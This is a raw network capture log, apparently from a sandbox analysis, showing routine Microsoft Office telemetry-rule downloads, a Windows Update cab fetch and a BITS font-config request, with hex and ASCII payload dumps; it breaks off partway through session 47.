2024-11-23 08:16:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:36 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:37 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081637Z-174c587ffdfn4nhwhC1TEB2nbc00000002t0000000005zt5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:37 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49760	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:37 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9Su9uS29T6Efywg&MD=84sb23Ry HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 08:16:38 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 5304202f-651d-4df7-a42f-67aca7f153b5 MS-RequestId: c5d7e040-42e9-4f40-89b7-6aec545cfde0 MS-CV: 4rPhBUUzvkm2Cv67.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 08:16:37 GMT Connection: close Content-Length: 24490
2024-11-23 08:16:38 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 08:16:38 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49764	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:38 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 08:16:38 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=30488 Date: Sat, 23 Nov 2024 08:16:38 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:38 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:38 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: df8835e2-601e-0002-5b4e-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081638Z-15b8b599d882zv28hC1TEBdchn00000002eg00000000ew11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:39 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:38 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5532245b-c01e-00ad-0e6f-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081638Z-174c587ffdfdwxdvhC1TEB1c4n00000002h000000000e6n9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:39 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:38 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081638Z-178bfbc474brk967hC1NYCfu6000000003yg00000000ak26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:39 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:38 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081639Z-15b8b599d88tr2flhC1TEB5gk400000002tg0000000071q9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:39 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:39 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: d83ea369-501e-000a-040c-3d0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081639Z-178bfbc474bmqmgjhC1NYCy16c00000004ag000000003hpu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:39 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49774	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:40 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 08:16:40 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=30542 Date: Sat, 23 Nov 2024 08:16:40 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 08:16:40 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:40 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081641Z-178bfbc474bxkclvhC1NYC69g40000000450000000004y8k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:40 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:41 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: e845eaf5-101e-008e-5d91-3bcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081641Z-15b8b599d88m7pn7hC1TEB4axw00000002tg000000002hd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:41 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:40 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:41 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 792329fd-401e-0035-1f6c-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081641Z-178bfbc474bfw4gbhC1NYCunf4000000048g000000003b3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
